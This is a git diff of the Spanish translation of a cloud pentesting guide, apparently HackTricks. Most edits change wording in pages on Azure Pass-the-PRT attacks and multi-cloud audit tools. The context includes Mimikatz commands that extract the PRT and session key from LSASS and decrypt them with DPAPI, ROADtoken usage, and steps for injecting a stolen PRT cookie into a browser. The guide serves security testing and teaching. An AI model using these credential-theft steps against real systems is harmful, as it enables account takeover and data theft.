@@ -34,11 +34,11 @@ La cookie PRT se llama en realidad **`x-ms-RefreshTokenCredential`** y es un JSO "request_nonce": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAPrlbf_TrEVJRMW2Cr7cJvYKDh2XsByis2eCF9iBHNqJJVzYR_boX8VfBpZpeIV078IE4QY0pIBtCcr90eyah5yAA" } ``` -El **Primary Refresh Token (PRT)** actual está encapsulado dentro del **`refresh_token`**, que está encriptado por una clave bajo el control de Azure AD, lo que hace que su contenido sea opaco e indecriptable para nosotros. El campo **`is_primary`** significa la encapsulación del token de actualización principal dentro de este token. Para asegurar que la cookie permanezca vinculada a la sesión de inicio de sesión específica para la que fue destinada, se transmite el `request_nonce` desde la página `logon.microsoftonline.com`. +El **Primary Refresh Token (PRT)** actual está encapsulado dentro del **`refresh_token`**, que está encriptado por una clave bajo el control de Azure AD, lo que hace que su contenido sea opaco e indecriptable para nosotros. El campo **`is_primary`** significa la encapsulación del token de actualización primario dentro de este token. Para asegurar que la cookie permanezca vinculada a la sesión de inicio de sesión específica para la que fue destinada, se transmite el `request_nonce` desde la página `logon.microsoftonline.com`. ### Flujo de la cookie PRT usando TPM -El proceso **LSASS** enviará al TPM el **KDF context**, y el TPM usará la **session key** (recolectada cuando el dispositivo fue registrado en AzureAD y almacenada en el TPM) y el contexto anterior para **derivar** una **clave**, y esta **clave derivada** se usa para **firmar la cookie PRT (JWT).** +El proceso **LSASS** enviará al TPM el **KDF context**, y el TPM usará la **session key** (recolectada cuando el dispositivo fue registrado en AzureAD y almacenada en el TPM) y el contexto anterior para **derivar** una **clave**, y esta **clave derivada** se utiliza para **firmar la cookie PRT (JWT).** El **KDF context es** un nonce de AzureAD y el PRT creando un **JWT** mezclado con un **contexto** (bytes aleatorios). @@ -48,10 +48,10 @@ Por lo tanto, incluso si el PRT no puede ser extraído porque está ubicado dent ## Escenarios de abuso de PRT -Como **usuario regular** es posible **solicitar el uso de PRT** pidiendo a LSASS datos de SSO.\ -Esto se puede hacer como **aplicaciones nativas** que solicitan tokens del **Web Account Manager** (intermediario de tokens). WAM pasa la solicitud a **LSASS**, que pide tokens usando una afirmación de PRT firmada. O se puede hacer con flujos **basados en navegador (web)** donde se usa una **cookie PRT** como **encabezado** para autenticar solicitudes a las páginas de inicio de sesión de Azure AS. +Como **usuario regular**, es posible **solicitar el uso de PRT** pidiendo a LSASS datos de SSO.\ +Esto se puede hacer como **aplicaciones nativas** que solicitan tokens del **Web Account Manager** (intermediario de tokens). WAM pasa la solicitud a **LSASS**, que pide tokens usando una afirmación de PRT firmada. O se puede hacer con flujos **basados en navegador (web)** donde se utiliza una **cookie PRT** como **encabezado** para autenticar solicitudes a las páginas de inicio de sesión de Azure AS. -Como **SYSTEM** podrías **robar el PRT si no está protegido** por TPM o **interactuar con las claves PRT en LSASS** usando APIs criptográficas. +Como **SYSTEM**, podrías **robar el PRT si no está protegido** por TPM o **interactuar con las claves PRT en LSASS** usando APIs criptográficas. ## Ejemplos de ataque Pass-the-PRT @@ -80,7 +80,7 @@ O usando [**roadrecon**](https://github.com/dirkjanm/ROADtools): ```powershell roadrecon auth prt-init ``` -Entonces puedes usar [**roadtoken**](https://github.com/dirkjanm/ROADtoken) para obtener un nuevo PRT (ejecuta la herramienta desde un proceso del usuario a atacar): +Luego puedes usar [**roadtoken**](https://github.com/dirkjanm/ROADtoken) para obtener un nuevo PRT (ejecuta la herramienta desde un proceso del usuario a atacar): ```powershell .\ROADtoken.exe ``` @@ -146,21 +146,21 @@ HttpOnly: Set to True (checked) Luego ve a [https://portal.azure.com](https://portal.azure.com) > [!CAUTION] -> El resto debería ser los valores predeterminados. Asegúrate de que puedes actualizar la página y que la cookie no desaparezca, si lo hace, es posible que hayas cometido un error y debas pasar por el proceso nuevamente. Si no lo hace, deberías estar bien. +> El resto debería ser los valores predeterminados. Asegúrate de que puedes actualizar la página y que la cookie no desaparezca; si lo hace, es posible que hayas cometido un error y debas repetir el proceso. Si no, deberías estar bien. ### Ataque - Mimikatz #### Pasos 1. El **PRT (Token de Actualización Primario) se extrae de LSASS** (Servicio de Subsistema de Autoridad de Seguridad Local) y se almacena para su uso posterior. -2. La **Clave de Sesión se extrae a continuación**. Dado que esta clave se emite inicialmente y luego se vuelve a cifrar por el dispositivo local, requiere descifrado utilizando una clave maestra de DPAPI. Información detallada sobre DPAPI (Interfaz de Programación de Aplicaciones de Protección de Datos) se puede encontrar en estos recursos: [HackTricks](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords) y para entender su aplicación, consulta [Ataque Pass-the-cookie](az-pass-the-cookie.md). +2. La **Clave de Sesión se extrae a continuación**. Dado que esta clave se emite inicialmente y luego se vuelve a cifrar por el dispositivo local, requiere descifrado utilizando una clave maestra de DPAPI. Se puede encontrar información detallada sobre DPAPI (Interfaz de Programación de Aplicaciones de Protección de Datos) en estos recursos: [HackTricks](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords) y para entender su aplicación, consulta [Pass-the-cookie attack](az-pass-the-cookie.md). 3. Después del descifrado de la Clave de Sesión, se obtienen la **clave derivada y el contexto para el PRT**. Estos son cruciales para la **creación de la cookie PRT**. Específicamente, la clave derivada se utiliza para firmar el JWT (Token Web JSON) que constituye la cookie. Una explicación completa de este proceso ha sido proporcionada por Dirk-jan, accesible [aquí](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/). > [!CAUTION] > Ten en cuenta que si el PRT está dentro del TPM y no dentro de `lsass`, **mimikatz no podrá extraerlo**.\ > Sin embargo, será posible **obtener una clave de una clave derivada de un contexto** del TPM y usarla para **firmar una cookie (ver opción 3).** -Puedes encontrar una **explicación en profundidad del proceso realizado** para extraer estos detalles aquí: [**https://dirkjanm.io/digging-further-into-the-primary-refresh-token/**](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) +Puedes encontrar una **explicación detallada del proceso realizado** para extraer estos detalles aquí: [**https://dirkjanm.io/digging-further-into-the-primary-refresh-token/**](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) > [!WARNING] > Esto no funcionará exactamente después de las correcciones de agosto de 2021 para obtener los tokens PRT de otros usuarios, ya que solo el usuario puede obtener su PRT (un administrador local no puede acceder a los PRT de otros usuarios), pero puede acceder al suyo. @@ -180,14 +180,14 @@ Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'
**Copia** la parte etiquetada como **Prt** y guárdala.\ -Extrae también la clave de sesión (el **`KeyValue`** del campo **`ProofOfPossesionKey`**) que puedes ver resaltada a continuación. Esto está cifrado y necesitaremos usar nuestras claves maestras de DPAPI para descifrarlo. +Extrae también la clave de sesión (el **`KeyValue`** del campo **`ProofOfPossesionKey`**) que puedes ver resaltada a continuación. Esto está encriptado y necesitaremos usar nuestras claves maestras de DPAPI para desencriptarlo.
> [!NOTE] > Si no ves ningún dato de PRT, podría ser que **no tengas ningún PRT** porque tu dispositivo no está unido a Azure AD o podría ser que estás **ejecutando una versión antigua** de Windows 10. -Para **descifrar** la clave de sesión, necesitas **elevar** tus privilegios a **SYSTEM** para ejecutar bajo el contexto de la computadora y poder usar la **clave maestra de DPAPI para descifrarlo**. Puedes usar los siguientes comandos para hacerlo: +Para **desencriptar** la clave de sesión, necesitas **elevar** tus privilegios a **SYSTEM** para ejecutar bajo el contexto de la computadora y poder usar la **clave maestra de DPAPI para desencriptarlo**. Puedes usar los siguientes comandos para hacerlo: ``` token::elevate dpapi::cloudapkd /keyvalue:[PASTE ProofOfPosessionKey HERE] /unprotect @@ -220,7 +220,7 @@ HttpOnly: Set to True (checked) - Luego ve a [https://portal.azure.com](https://portal.azure.com) > [!CAUTION] -> El resto debería ser los valores predeterminados. Asegúrate de que puedes actualizar la página y que la cookie no desaparezca; si lo hace, es posible que hayas cometido un error y debas repetir el proceso. Si no lo hace, deberías estar bien. +> El resto debería ser los valores predeterminados. Asegúrate de poder actualizar la página y que la cookie no desaparezca; si lo hace, es posible que hayas cometido un error y debas repetir el proceso. Si no desaparece, deberías estar bien. #### Opción 2 - roadrecon usando PRT diff --git a/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md b/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md index 0c7c95e37..58e3454ff 100644 --- a/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md +++ b/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md @@ -1,4 +1,4 @@ -# Az - Permissions for a Pentest +# Az - Permisos para un Pentest {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/pentesting-cloud-methodology.md b/src/pentesting-cloud/pentesting-cloud-methodology.md index fd7a85a96..352344e69 100644 --- a/src/pentesting-cloud/pentesting-cloud-methodology.md +++ b/src/pentesting-cloud/pentesting-cloud-methodology.md @@ -22,14 +22,14 @@ Cada nube tiene sus propias peculiaridades, pero en general hay algunas **cosas - **Verificar permisos** - Aquí deberías **descubrir todos los permisos de cada rol/usuario** dentro de la nube y cómo se utilizan - ¿Demasiadas cuentas **altamente privilegiadas** (controlan todo)? ¿Claves generadas no utilizadas?... La mayoría de estas verificaciones ya deberían haberse realizado en las pruebas de referencia -- Si el cliente está utilizando OpenID o SAML u otra **federación**, es posible que necesites preguntarles más **información** sobre **cómo se asigna cada rol** (no es lo mismo que el rol de administrador esté asignado a 1 usuario o a 100) +- Si el cliente está utilizando OpenID o SAML u otra **federación**, es posible que necesites pedirles más **información** sobre **cómo se asigna cada rol** (no es lo mismo que el rol de administrador sea asignado a 1 usuario o a 100) - **No es suficiente encontrar** qué usuarios tienen permisos de **administrador** "\*:\*". Hay muchos **otros permisos** que dependiendo de los servicios utilizados pueden ser muy **sensibles**. -- Además, hay **potenciales caminos de privesc** a seguir abusando de los permisos. Todas estas cosas deben tenerse en cuenta y **se deben reportar tantos caminos de privesc como sea posible**. +- Además, hay **potenciales caminos de privesc** a seguir abusando de los permisos. Todas estas cosas deben ser tenidas en cuenta y **se deben reportar tantos caminos de privesc como sea posible**. - **Verificar Integraciones** - Es muy probable que **integraciones con otras nubes o SaaS** se estén utilizando dentro del entorno de la nube. -- Para **integraciones de la nube que estás auditando** con otra plataforma, deberías notificar **quién tiene acceso a (ab)usar esa integración** y deberías preguntar **qué tan sensible** es la acción que se está realizando.\ +- Para **integraciones de la nube que estás auditando** con otra plataforma, deberías notificar **quién tiene acceso para (ab)usar esa integración** y deberías preguntar **qué tan sensible** es la acción que se está realizando.\ Por ejemplo, quién puede escribir en un bucket de AWS del cual GCP está obteniendo datos (pregunta qué tan sensible es la acción en GCP al tratar esos datos). -- Para **integraciones dentro de la nube que estás auditando** desde plataformas externas, deberías preguntar **quién tiene acceso externamente a (ab)usar esa integración** y verificar cómo se está utilizando esos datos.\ +- Para **integraciones dentro de la nube que estás auditando** desde plataformas externas, deberías preguntar **quién tiene acceso externamente para (ab)usar esa integración** y verificar cómo se está utilizando esos datos.\ Por ejemplo, si un servicio está utilizando una imagen de Docker alojada en GCR, deberías preguntar quién tiene acceso para modificar eso y qué información sensible y acceso obtendrá esa imagen al ejecutarse dentro de una nube de AWS. ## Herramientas Multi-Nube @@ -146,7 +146,7 @@ done {{#tabs }} {{#tab name="Instalar" }} -Descargue e instale Steampipe ([https://steampipe.io/downloads](https://steampipe.io/downloads)). O use Brew: +Descarga e instala Steampipe ([https://steampipe.io/downloads](https://steampipe.io/downloads)). O usa Brew: ``` brew tap turbot/tap brew install steampipe @@ -238,11 +238,11 @@ Requiere python2.7 y parece no estar mantenido. ### Nessus -Nessus tiene un _**Auditoría de Infraestructura en la Nube**_ que admite: AWS, Azure, Office 365, Rackspace, Salesforce. Se necesitan algunas configuraciones adicionales en **Azure** para obtener un **Client Id**. +Nessus tiene un _**Audit Cloud Infrastructure**_ escaneo que soporta: AWS, Azure, Office 365, Rackspace, Salesforce. Se necesitan algunas configuraciones adicionales en **Azure** para obtener un **Client Id**. ### [**cloudlist**](https://github.com/projectdiscovery/cloudlist) -Cloudlist es una **herramienta multi-nube para obtener Activos** (Nombres de Host, Direcciones IP) de Proveedores de Nube. +Cloudlist es una **herramienta multi-nube para obtener Activos** (Nombres de host, Direcciones IP) de Proveedores de Nube. {{#tabs }} {{#tab name="Cloudlist" }} @@ -255,7 +255,7 @@ sudo mv cloudlist /usr/local/bin ``` {{#endtab }} -{{#tab name="Segunda Pestaña" }} +{{#tab name="Second Tab" }} ```bash ## For GCP it requires service account JSON credentials cloudlist -config @@ -268,7 +268,7 @@ cloudlist -config Cartography es una herramienta de Python que consolida los activos de infraestructura y las relaciones entre ellos en una vista gráfica intuitiva impulsada por una base de datos Neo4j. {{#tabs }} -{{#tab name="Instalar" }} +{{#tab name="Install" }} ```bash # Installation docker image pull ghcr.io/lyft/cartography @@ -305,7 +305,7 @@ ghcr.io/lyft/cartography \ Starbase recopila activos y relaciones de servicios y sistemas, incluyendo infraestructura en la nube, aplicaciones SaaS, controles de seguridad y más, en una vista gráfica intuitiva respaldada por la base de datos Neo4j. {{#tabs }} -{{#tab name="Instalar" }} +{{#tab name="Install" }} ```bash # You are going to need Node version 14, so install nvm following https://tecadmin.net/install-nvm-macos-with-homebrew/ npm install --global yarn @@ -361,7 +361,7 @@ uri: bolt://localhost:7687 ### [**SkyArk**](https://github.com/cyberark/SkyArk) -Descubre los usuarios más privilegiados en el entorno de AWS o Azure escaneado, incluidos los AWS Shadow Admins. Utiliza PowerShell. +Descubre los usuarios más privilegiados en el entorno escaneado de AWS o Azure, incluidos los AWS Shadow Admins. Utiliza PowerShell. ```powershell Import-Module .\SkyArk.ps1 -force Start-AzureStealth